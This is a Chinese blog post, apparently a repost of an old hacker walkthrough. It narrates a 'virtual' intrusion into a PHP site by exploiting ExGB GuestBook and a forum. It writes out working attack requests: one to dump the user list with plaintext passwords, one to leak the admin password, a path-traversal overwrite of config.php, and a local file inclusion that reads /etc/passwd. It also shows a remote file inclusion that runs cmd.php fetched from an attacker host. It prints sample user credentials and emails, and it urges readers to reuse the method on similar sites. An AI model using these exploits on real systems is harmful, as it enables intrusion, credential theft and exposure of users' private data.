虚拟入侵php网站,一次虚拟的入侵经过

一次虚拟的入侵经过

by analysist 

http://www.china4lert.org

这是一次虚拟入侵,因为这次入侵的过程都是虚拟的,但这次入侵又非常地真实,因为我们完全可以按照其中介绍的方式入侵任何一个类似的网站。

我们即将入侵的主机基本情况如下:

操作系统:RedHat Linux v7.1

主机地址:http://www.notfound.org

Web服务器:Apache v1.3.20

好了,废话少说,我们开工吧!

一般来说,如果一个网站管理员比较勤快的话,我们应该很难从操作系统和Web服务器上找到漏洞,而这个管理员看起来就属于比较勤快的那种,我们在做了一些简单的测试之后,最终决定从CGI入手。

经过一些时间的观察和分析,我们发现这个网站上运行的CGI程序主要有两个,一个是论坛,名字没听说过,另一个是ExGB GuestBook。随便试了一下那个论坛,感觉应该是比较安全的,至少错误处理做的不错,我提交了几个特殊的请求连一点系统信息都没搞到,看来是找不到什么突破口了。但是ExGB GuestBook呢?漏洞可是很多的呀,如果你想知道漏洞的具体细节,可以访问下面的链接:

ExGB GuestBook泄露注册用户信息漏洞:

http://v7.51.net/exploites/gbook1.txt

ExGB GuestBook泄露超级管理员密码漏洞:

http://v7.51.net/exploites/gbook2.txt

ExGB GuestBook覆盖任意“.php”文件漏洞:

http://v7.51.net/exploites/gbook3.txt

好了,我们先来看看这个留言簿的注册用户信息,在IE地址拦输入:

http://www.notfound.org/gbook/data/user.list

看看我们看到了什么?

820

medana|!:!|cctv6|!:!|medana@163.net|!:!|http://souce.myrice.com|!:!|xing xing liu yan

23423432|!:!|111|!:!|111@sina.com|!:!|http://333.com|!:!|我的留言

stzzx|!:!|sohu.com|!:!|honker2003@21cn.com|!:!|http://stzzx.k666.com|!:!|我的留言本

jiayk|!:!|kingshah|!:!|ni13@china.com|!:!|http://foolqq.myetang.com|!:!|科幻城

......

哈哈。。。注册用户很多嘛,有800多个,看来的确是个比较知名的大站了,但是为什么要用这么差劲的CGI程序呢?难道就因为这个CGI程序的知名度?知名度高就一定好吗?//sigh...现在的人啊!

我对这些注册用户的信息本身不感兴趣,但是我很想研究一下人们喜欢用什么样的字符串作为密码,所以我写了个小程序来分离出注册用户的帐号和密码,源代码如下:

#!/usr/bin/perl

#this tool is designed by analysist

#welcome to visit http://www.china4lert.org

$ARGC=@ARGV;

if ($ARGC != 1) {

print "Usage: $0 \n";

exit(1);

}

$datafile=shift;

if (!(-e $datafile)) {

print "File not found!\n";

}

$user="user.db";

$pass="pass.db";

if (-e $user) {

unlink $user;

}

if (-e $pass) {

unlink $pass;

}

open (DATA,$datafile);

open (USER,">>$user");

open (PASS,">>$pass");

while ($line=) {

if ($line =~ /\|!:!\|/) {

@data=split(/\|!:!\|/,$line);

print USER $data[0]."\n";

print PASS $data[1]."\n";

}

}

很简单吧,这里我建议你学习Perl语言,因为它的确是一种非常优秀的语言,它的文本处理能力是其它任何语言都无法比拟的。

分析的结果肯定让你吃惊,大约90%以上的用户密码是数字序列,还有大约5%的用户帐号和密码相同,这不得不让你对国内用户的安全意识担忧吧?!

好了,下面我们看看超级管理员的密码是什么,我们提交一个这样的请求:

http://www.notfound.org/gbook/index.php?action=reg&name=test&password1=%24pass&password2=%24pass&email=test@test.org&home=http%3A%2F%2Fwww.test.org&title=%24pass&ubb=1&html=1&page=5&up=header&down=footer&regsub=%CC%E1%BD%BB%C9%EA%C7%EB

haha...我们在IE的标题拦看到了超级管理员的明文密码,原来是“iloveu”,看来这个管理员还是个多情之人,//puke...

我不打算用这个密码试着去登陆这台服务器,本身没有什么意义嘛,而且很容易被人发现,我才没那么傻呢,我们应该换个突破口。

我们看到ExGB GuestBook还有一个覆盖“.php”文件的漏洞没有利用呢,利用这个漏洞,我们可以在该服务器上以Web Server的权限建立任何“.php”文件,当然该文件的内容是相对固定的,看起来似乎没有什么大的作用。

再仔细的看了一下那个网站,原来论坛是用的别人的,可以去下载的呀。赶快把那个论坛的源码抓回来,仔细的分析了一下,终于发现了一个突破口。

其中配置文件“inc/config.php”中有如下片段:

$langdir=”.”;

$langfile=”cn.php”;

......

?>

而论坛主文件“forum.php”中又有如下片段:

require(“inc/config.php”);

include($langdir."/”.$langfile);

......

?>

知道我要做什么了吧?提交一个下面的请求:

http://www.notfound.org/gbook/index.php?action=reg&name=../../forun/inc/config&password1=%24pass&password2=%24pass&email=test@test.org&home=http%3A%2F%2Fwww.test.org&title=%24pass&ubb=1&html=1&page=5&up=header&down=footer&regsub=%CC%E1%BD%BB%C9%EA%C7%EB

呵呵。。。现在我们已经成功的覆盖了“/inc/config.php”文件,该文件的内容已经变成了:

$title="我的留言本";

$pass="test";

$home="http://www.test.org";

$email="test@test.org";

$admin[page]="5";

$admin[ubb]="1";

$admin[html]="1";

$up="header";

$down="footer";

?>

这里需要注意的是,我们得正确判断“inc/config.php”文件在Web Server目录中所处的位置,还有我们得知道覆盖的文件中包括一些什么内容,如果只包括一些变量的话我们才可以利用,如果该文件中还包括一些函数,那么我们就只能利用它来判断该文件在Web Server目录中所处的位置,当然这也是我们所需要知道的。同时,该目录下还会生成一个“config.dat”文件,对我们似乎用处不大。

好了,到了关键的地方,让我们来看看系统的“/etc/passwd”文件:

http://www.notfound.org/forum/forum.php?langdir=/etc&langfile=passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/sbin:

adm:x:3:4:adm:/var/adm:

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:

operator:x:11:0:operator:/root:

httpd:x:80:80:HTTPD user:/home/httpd:

kiosk:x:90:90:Airforce Kiosk account:/home/kiosk:/bin/bash

nobody:x:99:99:Nobody:/tmp:

roadshow:x:95:95::/home/roadshow:/bin/bash

airforce:x:91:91::/home/airforce:/bin/bash

afleads:x:92:92::/home/afleads:/bin/bash +:::::

好了,再看看系统中有谁在:

http://www.notfound.org/forum/forum.php?langdir=http://www.hacker.com&langfile=cmd.php

11:28am  up 6 days, 20:37,  5 users,  load average: 1.00, 1.00, 1.00

USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT

好象没人在哦,呵呵。。。

这会在该服务器上执行“http://www.hacker.com/”主机上的“cmd.php”文件,该文件的内容为:

passthru("w");

?>

需要注意的是,攻击服务器(也就是www.hacker.com)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:http://www.securereality.com.au/sradv00006.txt

好了,现在我们已经拥有了该服务器的读,写和执行的权限,虽然还不是root用户,但已经足够了,余下的工作就留给你自己去做吧。

----

mlstudio.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值